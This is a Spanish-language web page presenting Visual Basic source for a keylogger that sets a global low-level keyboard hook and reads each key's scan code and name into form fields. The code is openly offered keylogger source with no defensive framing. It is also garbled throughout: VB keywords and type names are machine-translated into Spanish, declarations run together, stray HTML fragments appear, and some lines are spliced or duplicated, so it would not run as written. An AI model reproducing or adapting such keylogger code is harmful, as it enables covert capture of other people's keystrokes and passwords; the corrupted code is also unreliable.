Cómo diseñar un keylogger usando VB
El código fuente se puede encontrar en línea, esto es lo que encontré.
'En el formulario
Private Sub Form_Load()
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf CallKeyHookProc, App.hInstance, 0)
End Sub
Sub privado Form_Unload(Cancelar como entero)
DesengancharWindowsHookEx hHook
End Sub
'En el módulo
Opción explícita
Función de declaración pública SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, Función de declaración pública ByVal UnhookWindowsHookEx Lib "user32" (ByVal hHook Mientras) Mientras
Función de declaración pública UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) Mientras
Función de declaración pública CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode Mientras, ByVal wParam Mientras, lParam Como Cualquiera) Mientras
Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (lpvDest Como Cualquiera, ByVal lpvSource Mientras, ByVal cbCopy Mientras )
Función de declaración pública GetKeyNameText Lib "user32" Alias "GetKeyNameTextA" (ByVal lParam As Long, ByVal lpBuffer As String, ByVal nSize As Long) As Long
Const pública WH_KEYBOARD = 2 p>
Const pública WH_KEYBOARD_LL = 13
Const pública HC_ACTION = 0
Const pública HC_SYSMODALOFF = 5
Const pública HC_SYSMODALON = 4
Const pública WM_KEYDOWN = & H100
Const pública WM_KEYUP = &H101
Const pública WM_CHAR = & H102
Const pública WM_SYSKEYDOWN = &H104 p>
Const pública WM_SYSKEYUP = &H105
Const pública WM_SYSCHAR = &H106
Constante pública WM_SYSCOMMAND = &a
mp;H112
Tipo público KEYMSGS
vKey As Long 'Código virtual (&HFF)
sKey As Long 'Código de escaneo
bandera As Long 'Tecla presionada: 128 Levantado: 0
tiempo As Long 'Tiempo de ejecución de la ventana
Tipo de fin
Mensaje de clave pública Como KEYMSGS 'Mensaje de teclado
Public hHook As Long 'El identificador del gancho creado
Función pública CallKeyHookProc(ByVal idHook As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Dim lKey As Long
Dim strKeyName As String * 255
Dim strLen As Long
Si idHook = HC_ACTION Entonces
CopyMemory keyMsg, lParam, LenB(keyMsg)
Seleccionar caso wParam
Caso WM_SYSKEYDOWN, WM_SYSKEYUP, WM_KEYDOWN, WM_KEYUP 'Determinar si es un mensaje de teclado
lKey = keyMsg.sKey Y &HFF 'Escanear código
lKey = lKey * 65536 'Desplaza el código a la izquierda 16 bits, para que el bit sea 0. Desplaza el código de escaneo a la izquierda 16 bits, para que los bits 0 a 15 se establecen Es 0
Si keyMsg.flag = 0 o keyMsg.flag = 32 o keyMsg.flag = 128 o keyMsg.sKey = 54 Entonces
Si keyMsg.flag = 0 o keyMsg. sKey = 54sKey = 54 Entonces
strLen = GetKeyNameText(lKey, strKeyName, 250) 'Escanear código
lKey = lKey * 65536 strKeyName, 250) 'Obtener el nombre de esta tecla
p>Else
strLen = GetKeyNameText((lKey Or & H1000000), strKeyName, 250) 'El bit 24 es el bit extendido en el teclado mejorado
Fin si
Form1.p>
Form1.Text1.Text = keyMsg.vKey
Form1.Text2.Text = Left(strKeyName, strLen)
End Select
End If
CallKeyHookProc = CallNextHookEx(hHook, idHook, wParam, lParam) 'Llamar al siguiente gancho
Función final